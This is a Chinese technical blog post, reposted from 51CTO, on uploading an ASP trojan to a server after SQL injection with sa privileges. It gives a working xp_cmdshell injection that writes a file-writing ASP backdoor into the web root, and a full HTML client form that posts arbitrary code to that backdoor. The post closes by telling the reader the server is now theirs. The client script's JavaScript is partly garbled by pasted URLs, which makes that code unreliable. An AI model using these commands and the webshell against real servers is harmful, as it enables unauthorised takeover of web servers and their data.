SQL注入与ASP木马上传的又一思路

简介:
本文适合有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器 
  SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
  1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
  文件内容:
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>

将特殊字符进行编码   就可以得到 %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:\Inetpub\wwwroot\): 
exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath   和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm   代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉鸡文件生成器--客户端   制作:绝对零度 QQ:12216796</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;
SCROLLBAR-FACE-COLOR: #eeeeee; 
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; 
SCROLLBAR-SHADOW-COLOR: #dee3e7; 
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc; 
SCROLLBAR-ARROW-COLOR: #006699; 
SCROLLBAR-TRACK-COLOR: #ededed; 
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}

A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";
background-color: #f9f9f9; 
font-size: 9pt ; 
border: 1px #d2d2d2 dobble;
line-height:120%;
}

-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value="http://blog.77169.com/='')
{
alert('请输入递交的地址!');
theform.ftpUrl.focus();
return" false;
}
if(theform.MyPath.value="http://blog.77169.com/='')
{
alert('请输入生成文件的位置!');
theform.MyPath.focus();
return" false;
}
if(theform.MyData.value="http://blog.77169.com/='')
{
alert('请输入生成文件的内容!');
theform.MyData.focus();
return" false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">
<table width="673" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
  <td width="11%">目标位置:</td>
  <td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">
    例:
[url]http://127.0.0.1/FTP.ASP<;/td>[/url]
  </tr>
<tr>
  <td>生成文件:</td>
  <td><input name="MyPath" type="text" id="MyPath">
    将在服务器上,生成的文件路径。例:
C:\Inetpub\wwwroot\Server.asp </td>
  </tr>
<tr>
  <td valign="top">文件代码:</td>
  <td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td>
  </tr>
<tr>
  <td> </td>
  <td><input type="submit" name="Submit" value="提交"></td>
  </tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
  <td align="center">版权所有:绝对零度(<a href="
[url]http://www.rohu.com[/url] ";>虎盟</a>)</td>
</tr>
</table>
</body>
</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址 
如 
[url]http://127.0.0.1/ftp.asp[/url]    (这里假设服务器的ip是 127.0.0.1)
在生成文件栏   输入将在服务器上生成的文件名 比如:C:\Inetpub\wwwroot\Server.asp 
在文件内容里 ,随意的粘贴一个asp代码   
点递交,当
[url]http://127.0.0.1/ftp.asp[/url]  文件执行完毕   基本上服务器上的asp木马就生成了。

浏览 [url]http://127.0.0.1/Server.ASP[/url]   呵呵 服务器就是你的了。

















本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8528 ,如需转载请自行联系原作者


相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
32 0
|
2月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
22 0
|
2月前
|
SQL Java 数据库连接
[SQL]SQL注入与SQL执行过程(基于JDBC)
[SQL]SQL注入与SQL执行过程(基于JDBC)
50 0
|
2月前
|
SQL 关系型数据库 MySQL
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
47 0
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
39 0
|
2月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
415 1
|
5天前
|
SQL Oracle 安全
Oracle的PL/SQL循环语句:数据的“旋转木马”与“无限之旅”
【4月更文挑战第19天】Oracle PL/SQL中的循环语句(LOOP、EXIT WHEN、FOR、WHILE)是处理数据的关键工具,用于批量操作、报表生成和复杂业务逻辑。LOOP提供无限循环,可通过EXIT WHEN设定退出条件;FOR循环适用于固定次数迭代,WHILE循环基于条件判断执行。有效使用循环能提高效率,但需注意避免无限循环和优化大数据处理性能。掌握循环语句,将使数据处理更加高效和便捷。
|
6天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
14 0
|
14天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入